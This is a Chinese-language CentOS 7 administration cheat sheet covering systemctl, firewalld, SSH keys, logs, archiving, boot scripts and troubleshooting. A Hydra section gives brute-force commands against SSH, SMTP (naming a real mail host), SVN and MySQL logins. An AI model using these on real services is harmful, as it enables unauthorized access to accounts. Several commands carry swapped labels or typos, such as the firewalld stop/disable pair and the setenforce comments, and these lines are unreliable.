CentOS 7.0中一个最主要的改变,就是切换到了systemd。它用于替代红帽企业版Linux前任版本中的SysV和Upstart,对系统和服务进行管理。systemd兼容SysV和Linux标准组的启动脚本。
Systemd是一个Linux操作系统下的系统和服务管理器。它被设计成向后兼容SysV启动脚本,并提供了大量的特性,如开机时平行启动系统服务,按需启动守护进程,支持系统状态快照,或者基于依赖的服务控制逻辑。
先前的使用SysV初始化或Upstart的红帽企业版Linux版本中,使用位于/etc/rc.d/init.d/目录中的bash初始化脚本进行管理。而在RHEL 7/CentOS 7中,这些启动脚本被服务单元取代了。服务单元以.service文件扩展结束,提供了与初始化脚本同样的用途。要查看、启动、停止、重启、启用或者禁用系统服务,你要使用systemctl来代替旧的service命令。
注:为了向后兼容,旧的service命令在CentOS 7中仍然可用,它会重定向所有命令到新的systemctl工具。
例如
启动一个服务:systemctl start firewalld.service 关闭一个服务:systemctl stop firewalld.service 重启一个服务:systemctl restart firewalld.service 显示一个服务的状态:systemctl status firewalld.service 在开机时启用一个服务:systemctl enable firewalld.service 在开机时禁用一个服务:systemctl disable firewalld.service 查看服务是否开机启动:systemctl is-enabled firewalld.service 查看已启动的服务列表:systemctl list-unit-files|grep enabled 查看启动失败的服务列表:systemctl --failed
防火墙
启动: systemctl start firewalld 查看状态: systemctl status firewalld 停止: systemctl disable firewalld 禁用: systemctl stop firewalld 配置firewalld-cmd 查看版本: firewall-cmd --version 查看帮助: firewall-cmd --help 显示状态: firewall-cmd --state 查看所有打开的端口: firewall-cmd --zone=public --list-ports 更新防火墙规则: firewall-cmd --reload 查看区域信息: firewall-cmd --get-active-zones 查看指定接口所属区域: firewall-cmd --get-zone-of-interface=eth0 拒绝所有包:firewall-cmd --panic-on 取消拒绝状态: firewall-cmd --panic-off 查看是否拒绝: firewall-cmd --query-panic 添加 firewall-cmd --zone=public --add-port=80/tcp --permanent (--permanent永久生效,没有此参数重启后失效) 重新载入 firewall-cmd --reload 查看 firewall-cmd --zone= public --query-port=80/tcp 删除 firewall-cmd --zone= public --remove-port=80/tcp --permanent SELinux 查看状态 [root@dev-server ~]# getenforce Disabled [root@dev-server ~]# /usr/sbin/sestatus -v SELinux status: disabled 临时关闭 ##设置SELinux 成为permissive模式 ##setenforce 1 设置SELinux 成为enforcing模式 setenforce 0 永久关闭 vi /etc/selinux/config 将SELINUX=enforcing改为SELINUX=disabled 设置后需要重启才能生效
安装nginx报错
./configure 时提示以下错误: checking for OS + Linux 2.6.32-431.el6.x86_64 x86_64 checking for C compiler ... not foun yum -y install gcc gcc-c++ autoconf automake make ./configure: error: SSL modules require the OpenSSL library. yum -y install openssl openssl-devel
SSH免秘钥登录
1.ssh-keygen 等同于ssh-keygen -t rsa .ssh/.id_rsa 私钥 .ssh/.id_rsa.pub 公钥 2. 把公钥copy到要登录的目标机器上 cd /root/.ssh scp -rp id_rsa.pu root@192.168.10.35:/root/.ssh #把本地文件copy到远程 scp -rp root@192.168.10.35:/root/.ssh/id_rsa.pu /tmp/ #把远程文件copy到本地 3(手动写入). 在目标机器上,把id_rsa.pub里的key取出写入.ssh/authorized_keys 查看当前用户id, whoami su - root 切换用户 cd /root/.ssh cat id_rsa.pub >authorized_keys 读出id_rsa.pub的内容并写入到>后的文件,(覆盖) cat id_rsa.pub >>authorized_keys 读出id_rsa.pub的内容并写入到>后的文件,(追加) authorized_keys的权限要是600!!! 只有用户自己有写权限。否则验证无效 4.自动写入 ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.198.132 输入远程机器密码就可以了
1、ssh-keygen做密码验证可以使在向对方机器上ssh ,scp不用使用密码.具体方法如下: 2、两个节点都执行操作:#ssh-keygen -t rsa然后全部回车,采用默认值. 3、这样生成了一对密钥,存放在用户目录的~/.ssh下。将公钥考到对方机器的用户目录下 ,并将其复制到~/.ssh/authorized_keys中(操作命令:#cat id_dsa.pub >> ~/.ssh/authorized_keys)。 4、设置文件和目录权限: 设置authorized_keys权限 $ chmod 600 authorized_keys 设置.ssh目录权限 $ chmod 700 -R .ssh 5、要保证.ssh和authorized_keys都只有用户自己有写权限。否则验证无效。 注意:1:如下是ssh 端口不是22,就用-p 指定,注意加引号。 2:公钥也可以用scp传递到你要免秘钥登录的这台机器上,然后追加到秘钥登录的这台机器的authorized_keys文件里
Dell R730来电自启
Crond定时任务
https://www.cnblogs.com/p0st/p/9482167.html
常见日志
/var/log/messages ---> 整体系统信息,其中也包含系统启动期间的日志。 /var/log/dmesg ---> 内核缓冲信息(kernel ring buffer)。用dmesg查看系统启动信息。 /var/log/auth.log ---> 系统授权信息,包括用户登录和使用的权限机制等。 /var/log/boot.log ---> 系统启动时的日志。 /var/log/daemon.log ---> 系统后台守护进程日志信息。 /var/log/dpkg.log ---> 安装或dpkg命令清除软件包的日志。 /var/log/kern.log ---> 内核产生的日志。 /var/log/lastlog ---> 记录所有用户的最近信息。用lastlog命令查看内容。 /var/log/maillog 或 /var/log/mail.log ---> 电子邮件服务器的日志信息。 /var/log/user.log ---> 记录所有等级用户信息的日志。 /var/log/alternatives.log ---> 更新替代信息都记录在这个文件中。 /var/log/btmp ---> 记录所有失败登录信息(用户、时间以及远程IP地址)。使用last命令查看,例如:last -f /var/log/btmp | more。 /var/log/cups ---> 涉及所有打印信息的日志。 /var/log/anaconda.log ---> Linux系统安装信息。 /var/log/yum.log ---> 使用yum安装的软件包信息。 /var/log/cron ---> crond计划任务服务执行情况。 /var/log/secure ---> 系统安全日志、验证和授权信息。 /var/log/wtmp或/var/log/utmp ---> 登录信息。使用 w/who/finger/id/last/lastlog/ac 进行查看。 /var/log/faillog ---> 用户登录失败信息。 默认文件的权限是666,目录的权限是777,umask是222
流量监控工具
nethogs: 按进程查看流量占用 iptraf: 按连接/端口查看流量 ifstat: 按设备查看流量 ethtool: 诊断工具 tcpdump: 抓包工具 ss: 连接查看工具 其他: dstat, slurm, nload, bmon
重定向及标准输入,输出,错误相关
通常情况,每个 Unix 程序在启动时都会打开三个流,一个用于输入,一个用于输出,一个用于打印诊断或错误消息。它们分别被做:标准输入,标准输出,标准错误。 文件描述符: POSIX 定义了STDIN_FILENO、STDOUT_FILENO 和 STDERR_FILENO 来代替 0、1、2。这三个符号常量的定义位于头文件 unistd.h。 标准输入 (stdin) :文件描述符为 0 ,使用 < 或 << ;其实可以理解为这个箭头指向哪里数据就往哪里跑.这里是输入(stdin).命令就通过<来获取数据.等于数据是从左边往命令里面流. 标准输出 (stdout):文件描述符为 1 ,使用 > 或 >> ;输出的时候不能用<或者<<,因为命令总是在前面.这里命令要输出数据.所以数据的来源是命令,数据就会随着箭头指向你给的方向. 标准错误输出(stderr):文件描述符为 2 ,使用 2> 或 2>>; 1.command >file 2>&1 等价于1>/dev/null 和2>/dev/null 和&/dev/null 首先command >file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file中;command>file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了两个同时去抢占file的管道.定向了2次。 那如果使用command >file 2>&1 这条命令就将stdout直接送向file,stderr 继承了第一次重定向(FD1)到管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。 2./dev/null Linux下还有一个非凡的文件/dev/null,它就像一个无底洞,所有重定向到它的信息都会消失得无影无踪。这一点非常有用,当我们不需要回显程序的所有信息时,就可以将输出重定向到/dev/null。 假如想要正常输出和错误信息都不显示,则要把标准输出和标准错误都重定向到/dev/null >/dev/null表示将程序通过printf或者fprintf打印到handle为1的stdout文件的信息,送到/dev/null空洞文件。
所以在执行shell脚本或者在shell脚本中不想看到输出是使用 command >/dev/null/ 2>&1或者找一个专门的日志文件command >/dev/null/ 2>&1
mysql数据库备份工具
mysqldump 小于200G
xtrabackup 大于200G
分割大文件
用法:split [选项]... [输入 [前缀]] 将输入内容拆分为固定大小的分片并输出到"前缀aa"、"前缀ab",...; 默认以 1000 行为拆分单位,默认前缀为"x"。如果不指定文件,或 者文件为"-",则从标准输入读取数据。 长选项必须使用的参数对于短选项时也是必需使用的。 -a, --suffix-length=N 指定后缀长度为N (默认为2) -b, --bytes=大小 指定每个输出文件的字节大小 -C, --line-bytes=大小 指定每个输出文件里最大行字节大小 -d, --numeric-suffixes 使用数字后缀代替字母后缀 -l, --lines=数值 指定每个输出文件有多少行 --verbose 在每个输出文件打开前输出文件特征 --help 显示此帮助信息并退出 --version 显示版本信息并退出 SIZE 可以是一个可选的整数,后面跟着以下单位中的一个: KB 1000,K 1024,MB 1000*1000,M 1024*1024,还有 G、T、P、E、Z、Y。 如过想指定每个分割的文件行数来分割 split -l 12000000 192.168.61.5_bak.txt -d -a 6 经过分割测试发现一千两百万行时每个文件大概700MB。 如过想指定每个分割的文件大小来分割 指定每个子文件700MB大小 文件后缀用字符区分 split -b 734003200 192.168.61.5_bak.txt -a 6
分卷压缩与解压
1.分卷压缩,使用tar+split组合 进入网站目录,执行: tar cvzf - gaojinbo.com| split -b 900m - logs.tar.bz2. 2.合并 cat logs.tar.bz2.* > gaojinbo.com.tar.gz 3.解压 tar xvzf gaojinbo.com.tar.gz tar命令参数简述 参数: -j : 通过bzip2进行压缩\解压文件*.tar.bz2 -z : 通过gzip进行压缩\解压文件*.tar.gz -c : 新建打包文件,可搭配-v来查看过程中被打包的文件名 -t : 查看打包文件的内容有哪些文件名 -x : 解压打包文件. -v : 在压缩/解压过程中,显示正在处理的文件名 -f : -f后面接被处理的文件名 -C(大写) : 后接目录 -p : 保留备份数据的原本权限与属性 -P : 保留绝对路径,即允许备份数据中含有根目录存在的目录(危险) 常用:欲压缩或打包的文件或目录(/*) bzip2压缩命令:tar -jcv -f boot.tar.bz2 /boot gzip压缩命令 :tar -zcv -f boot.tar.gz /boot bzip2查看命令:tar -jtv -f /dir/*.tar.bz2 gzip 查看命令:tar -ztv -f /dir/*.tar.gz bzip2解压缩命令:tar -jxv -f /dir/*.tar.bz2 -C 欲解压缩的目录 gzip解压缩命令 :tar -zxv -f /dir/*.tar.gz 欲解压缩的目录 特殊: 备份重要的系统数据,包括其完整的权限(-p参数): tar -jcvp -f /root/etc.tar.bz2 /etc 只解压压缩文件内的其中一个文件: tar -jxv -f /root/etc.tar.bz2 etc/shadow 打包目录,但不含该目录下的某些文件(--exclude): tar -jcv -f /root/system.tar.bz2 --exclude=root/etc* --exclude=root/system.tar.bz2 /etc /root 仅备份比某个时刻还要新的文件: 备份 :tar -jcv -f /root/etc.newer.2011.02.16.tar.bz2 –newer-mtime=‘2011-02-16‘ /etc/* 查看备份:tar -jtv -f etc.newer.2011.02.16.tar.bz2 注意:在备份文件的时候也备份它的父目录
/etc/services文件作用
/etc/services文件是记录网络服务名和它们对应使用的端口号及协议。文件中的每一行对应一种服务,它由4个字段组成,中间用TAB或空格分隔,分别表示“服务名称”、“使用端口”、“协议名称”以及“别名”。 文件包含了服务名和端口号之间的映射,很多的系统程序要使用这个文件。一般情况下,不要修改该文件的内容,因为这些设置都是Internet标准的设置。一旦修改,可能会造成系统冲突,使用户无法正常访问资源。 Linux系统的端口号的范围为0–65535,不同范围有不同的意义。 端口范围 0 不使用 1--1023 系统保留,只能由root用户使用 1024---4999 由客户端程序*分配 5000---65535 由服务器端程序*分配
目录详解
hydra使用
hydra -l root -P /home/post/pass.txt -M /home/post/ip.txt -t 2 ssh -s 62822 hydra -L user.txt -p ‘pass‘ -t 10 -vV smtp://qiye.163..com/ -o save.log 爆破邮箱 hydra -C /root/Desktop/2.txt -t 1 -vV smtp://smtp.xxx.com -o /root/Desktop/save.log 爆破邮箱,一行对应一行 xxx.@qq.com:123 hydra -C /home/post/user2.txt -t 1 svn://ip -s 3590 爆破svn hydra -l root -P /root/Desktop/pass.txt -M /root/Desktop/list.txt -t 2 mysql 爆破mysql
多线程下载
安装方式一: yum -y install epel-release yum install axel-2.4-9.el7.x86_64.rpm rpm -ivh axel-2.4-9.el7.x86_64.rpm 安装方式二: wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el6.rf.x86_64.rpmrpm -ivh axel-2.4-1.el6.rf.x86_64.rpm 是用实例: axel -an 4 https://ubuntu-mate.org/raspberry-pi/ubuntu-mate-16.04-desktop-armhf-raspberry-pi.img.xz #同时开4线程下载 基本参数: -n x指定线程数(x 必须为大于 0 的数字) -o x 指定另存为目录(x 必须为本地目录) -s x 指定下载速度(x 必须为大于 0 的数字,单位是 bytes/s) -q 静默模式,无任何输出信息 -V 软件版本 Axel 在下载过程中如果遇到中断的话,在原来的目录再次执行相同的下载命令即可恢复下载进度。
修改终端颜色
PS1是Linux终端用户的一个环境变量,用来定义命令行提示符的参数。
在终端输入命令: # echo $PS1 可得到当前PS1的定义值: PS1=‘[\u@\h \W]\$ ‘ PS1的常用参数以及含义: \d :代表日期,格式为weekday month date,例如:"Mon Aug 1" \H :完整的主机名称 \h :仅取主机名中的第一个名字 \t :显示时间为24小时格式,如:HH:MM:SS \T :显示时间为12小时格式 \A :显示时间为24小时格式:HH:MM \u :当前用户的账号名称 \v :BASH的版本信息 \w :完整的工作目录名称 \W :利用basename取得工作目录名称,只显示最后一个目录名 \# :下达的第几个命令 \$ :提示字符,如果是root用户,提示符为 # ,普通用户则为 $ 所以linux默认的命令行提示信息的格式 PS1=‘[\u@\h \W]\$ ‘ 的意思就是:[当前用户的账号名称@主机名的第一个名字 工作目录的最后一层目录名]# 颜色设置参数 在PS1中设置字符颜色的格式为:\[\e[F;Bm\]........\[\e[0m\],其中“F“为字体颜色,编号为30-37,“B”为背景颜色,编号为40-47,\[\e[0m\]作为颜色设定的结束。 颜色对照表: F B 30 40 黑色 31 41 红色 32 42 绿色 33 43 黄色 34 44 蓝色 35 45 紫红色 36 46 青蓝色 37 47 白色 只需将对应数字套入设置格式中即可。 比如要设置命令行的格式为绿字黑底(\[\e[32;40m\]),显示当前用户的账号名称(\u)、主机的第一个名字(\h)、完整的当前工作目录名称(\w)、24小时格式时间(\t),可以直接在命令行键入如下命令: 经过多次测试后,最终确定了一个适合我自己的格式: # PS1="\[\e[37;40m\][\[\e[32;40m\]\u\[\e[37;40m\]@\h \[\e[36;40m\]\w\[\e[0m\]]\\$ " 上面的设置的作用域只有当前终端的登陆有效,关闭终端或退出登录即刻失效。要想永久性的保存设置,需要修改.bashrc配置文件。 vim .bashrc PS1="\[\e[37;40m\][\[\e[32;40m\]\u\[\e[37;40m\]@\h \[\e[36;40m\]\w\[\e[0m\]]\\$ " source .bashrc
创建指定大小的文件
truncate truncate -s 13M onebox.test fallocate fallocate -l 13000000 onebox.test dd dd if=/dev/urandom of=onebox.test bs=13MB count=1 OR head -c 13MB /dev/urandom > onebox.test
查看版本信息等
查看全部信息 [root@VM_168_159_centos log]# uname -a Linux VM_168_159_centos 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 查看内核信息 [root@VM_168_159_centos log]# uname -r 3.10.0-693.el7.x86_64 查看版本号 [root@VM_168_159_centos log]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core)
开机自启
一、添加开机自启服务 在CentOS 7中添加开机自启服务非常方便,只需要两条命令(以Jenkins为例): systemctl enable jenkins.service #设置jenkins服务为自启动服务 sysstemctl start jenkins.service #启动jenkins服务 二、添加开机自启脚本 在centos7中增加脚本有两种常用的方法,以脚本autostart.sh为例: #!/bin/bash #description:开机自启脚本 /usr/local/tomcat/bin/startup.sh #启动tomcat 方法一 1、赋予脚本可执行权限(/opt/script/autostart.sh是你的脚本路径) chmod +x /opt/script/autostart.sh 2、打开/etc/rc.d/rc.local文件,在末尾增加如下内容 /opt/script/autostart.sh 3、在centos7中,/etc/rc.d.rc.local的权限被降低了,所以需要执行如下命令赋予其可执行权限 chmod +x /etc/rc.d/rc.local 方法二 1、将脚本移动到/etc/rc.d/init.d目录下 mv /opt/script/autostart.sh /etc/rc.d/init.d 2、增加脚本的可执行权限 chmod +x /etc/rc.d/init.d/autostart.sh 3、添加脚本到开机自动启动项目中 cd /etc/rc.d/init.d chkconfig --add autostart.sh chkconfig autostart.sh on
进入单用户模式
1 -在启动grub菜单,选择编辑选项启动 2 - 按键盘e键,来进入编辑界面 3 - 找到Linux 16的那一行,将root=/dev/mapper/centos-root ro rd改为root=/dev/mapper/centos-root rw init=/sysroot/bin/sh rd 4 - 现在按下 Control+x ,使用单用户模式启动 5 - 现在,可以使用下面的命令访问系统 chroot /sysroot 6 - 重置密码 passwd root 7 - 更新系统信息 touch /.autorelabel 8 - 退出chroot exit 9 - 重启你的系统 reboot
修改主机名
永久修改:hostnamectl set-hostname <newhostname> 临时修改:hostname <new-hostname>
修改时区
将时区是修为上海 date -R 查看时区 rm -rf /etc/localtime ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
文件编码及修改文件编码
通常来说,Windows中默认的文件格式是GBK(gb2312),而Linux一般都是UTF-8,所以Linux下打开windows的文件会有乱码的情况。另外,有时要将文件进行编码转换,如将简体中文转换为繁体中文。 vim中查询修改文件编码格式 set fileencoding查看现在文本的编码 set fenc=编码转换当前文本的编码为指定的编码 set enc=编码以指定的编码显示文本,但不保存到文件中。这里的“编码”常见为gbk utf-8 big5 cp936 set ff查看当前文本的模式类型,一般为dos,unix set ff=dos设置为dos模式也可以用一下方式转换为unix模式 %s/^M//g等同于:set ff=unix 使用dos2unix 格式:dos2unix file 如果一次转换多个文件,把这些文件名直接跟在dos2unix之后。(注:也可以加上-o参数,也可以不加,效果一样) 格式:dos2unix file1 file2 file3 或者 格式:dos2unix -o file1 file2 file3 上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用-n参数。 格式:dos2unix oldfile newfile 如果要保持文件时间戳不变,加上-k参数。所以上面几条命令都是可以加上-k参数来保持文件时间戳的。 格式:dos2unix -k file
命令补全包
因为centos7最小安装的话,默认没有自动补全功能,要启用这个功能的话要安装一个bash-completion的包,然后退出bash,重新登录即可 yum install -y bash-completion
安装Centos7出现dracut-initqueue timeout 等各种问题
问题: 之前使用U盘安装CentOS6.5可以正常安装,即用 UltraISO将U盘制作为启动盘,启动时选择USB启动即可。可是安装CentOS7时,进不了安装界面,提示超时,最后进入到dracut#:字符界面 原因分析: centos7官方说(https://wiki.centos.org/HowTos/InstallFromUSBkey),对于CentOS7,在Window上制作镜像的话,由于CentOS有一个特别的分区问题,所以有些Windows工具就不能正确的将U盘做成启动盘。目 前为止不可以的工具有:unetbootin 和 universal usb installer。可以 的工具有Rufus, Fedora LiveUSB Creator,Win32 Disk Image, Rawrite32和dd。 解决方法: 1.使用win32 disk imager将U盘制作为启动盘,写入时间很慢,但是最后成功安装 2.>在报错信息下面进行如下操作: >dracut:/# cd dev >dracut:/# ls 这样子你就会看到所有的设备信息。 >找到sdbx,x为一个数字,是你u盘所在 >dracut:/# reboot 重启之后 >在install页面按e键 >修改vmlinuz initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64.check quiet为 vmlinuz initrd=initrd.img inst.stage2=/hd:/dev/sdbx(你u盘所在)quiet 然后按Ctrl+x就好了。就出现了centOS的安装界面了。 但是在操作过程中,我发现的dev里面的sdb开头的只有sdb,sdb1和sdb2,于是我就把它仨都试了一遍,就过都说找不到img文件。 本来我以为我的电脑不能安装Linux的,后来我发现他们一般都说默认是sdb4,可我的dev里面没有sdb4,不过我的dev有个sdc4,于是我就使用sdc4 >修改vmlinuz initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64.check quiet为 vmlinuz initrd=initrd.img inst.stage2=/hd:/dev/sdc4 quiet 然后按Ctrl+x,就出现了centOS的安装界面了。
在linux中搜索执行过的命令
crtl+r
Centos7服务器自动重启 acpi引起
查看日志信息
sudo tail -n1000 /var/log/messages |grep -i error
sudo grep -E "error|Error|ERROR|fail|Fail|FAIL" /var/log/dmesg
分析:
由于BIOS中开启了中断重映射(这是个复杂的东西,也可以简单讲明白,我就不讲了。),在ERST(芯片集中的错误校验表)校验时发生错误,导致高级配置电源管理模块无法处理IPMI驱动请求,预存数据到内存发生错误,引发kernel上演了一出找到空指针的戏法。
解决办法
1.
vi /boot/grub/grub.conf
在kernel一行最后加上acpi=off noacip
kernel ... acpi=off noacip
2.升级内核版本
3.
在grub.conf的内核启动参数中添加 intremap=off 或者 intremap=no_x2apic_optout
intremap={on,off,nosid,no_x2apic_optout}
on(默认值)开启中断重映射,BIOS中默认开启
off 关闭中断重映射
nosid 重映射时不对SID(Source ID)做检查
no_x2apic_optout 无视BIOS的设置,强制禁用x2APIC特性,主要用于解决某些对x2APIC支持有缺陷的BIOS导致的故障
4.重装系统
安装gcc出错-Setup script exited with error: command ‘gcc‘ failed with exit status
由于没有正确安装Python开发环境导致。 Python2 yum install python-dev Python3 yum install python3-dev 可能需要libevent库 yum install libevent-dev 最后更新下开发环境 yum groupinstall ‘development tools‘
vim案例
在使用虚拟机vim的时候,突然连接不上虚拟机,导致刚刚在编写的文件还未保存 vim会在当前文件下生成一个缓存文件 例如,第一次产生的交换文件名为‘.spring.md.swp‘;再次意外退出后,将会产生名为‘.spring.md.swo‘的交换文件,而第三次产生的交换文件则为‘.spring.md.swn‘;以此类推 使用vim -r spring.md来进行文件的恢复,或者其它选项进行编辑或关闭或查看
linux内核i/o调度方法
https://jackyrong.iteye.com/blog/898938
https://blog.51cto.com/scoke/490546
https://blog.csdn.net/qq_41998290/article/details/88416427
localhost和127.0.0.1的区别
localhost也叫local ,正确的解释是:本地服务器
127.0.0.1在windows等系统的正确解释是:本机地址(本机服务器),是一个回环地址,常用来测试使用
他们的解析通过本机的host文件,windows自动将localhost解析为127.0.0.1
在cmd中ping localhost解析出来的是IPV6的::1,这是ipv6的本机地址,原因是windows有个优先解析列表,当ipv6的优先级高于ipv4时,就会出现这种情况。
编译*.scr.rpm
安装rpm build工具
yum install rpm* rpm-build rpmdev*
以安装vdsm-4.18.3-0.el7ev.src.rpm为例
1、执行命令:rpm -i vdsm-4.18.3-0.el7ev.src.rpm
2、执行命令:cd /root/rpmbuild/SPECS
3、执行命令:rpmbuild -bb vdsm.spec
4、执行命令:cd /root/rpmbuild/RPMS/x86_64
5、执行命令:yum localinstall vdsm-4.18.3-0.el7.centos.x86_64.rpm
企业故障案例
企业故障案例一:web磁盘服务器占满解析及解决
可能原因是当一个定时任务正在执行的时候,cron中执行的程序有输出内容,输出内容会以mail的形式发送给对应的cron job用户,sendmail邮件服务默认是关闭的,所以定时任务发送的邮件就会临时堆在/var/spool/clientmqueue/,造成文件数目特别多,在ext3文件系统中,每个文件占用一个inode,造成磁盘空间不断缩小
如果文件太多,占用空间太大,文件太多,就执行下面的命令:(或者直接删除目录,然后按照原来的权限和属组在创建)
# cd /var/spool/clientmqueue # ls | xargs rm -f
# 也可以每周删除一下clientmqueue目录下的临时文件,放入到定时任务中企业故障案例二:
密码管理工具
https://keeweb.info/?utm_source=www.appinn.com
中文插件:https://plugins.keeweb.info/translations/zh-CN/
Centos7命令总结
watch -n 2 /tmp/log.log 默认每隔两秒钟查看log.log是否有变化 tail -f /tmp/log.txt 查看文件变化,一直等待 for i in {3..254} ; do ping -c 1 192.168.0.$i &>/dev/null && echo 192.168.0.$i is alive ;done 查看内网主机是否存活 ll |wc -l 查看目录下文件的数量
hostnamectl set-hostname node1 修改hostname
time dd=/dev/ of=/mnt/123.txt bs=9k count=2000 计算一个任务的执行时间
linux配置文件
linux磁盘管理
linux软件包管理
linux进程与服务
linux启动流程
linux日志系统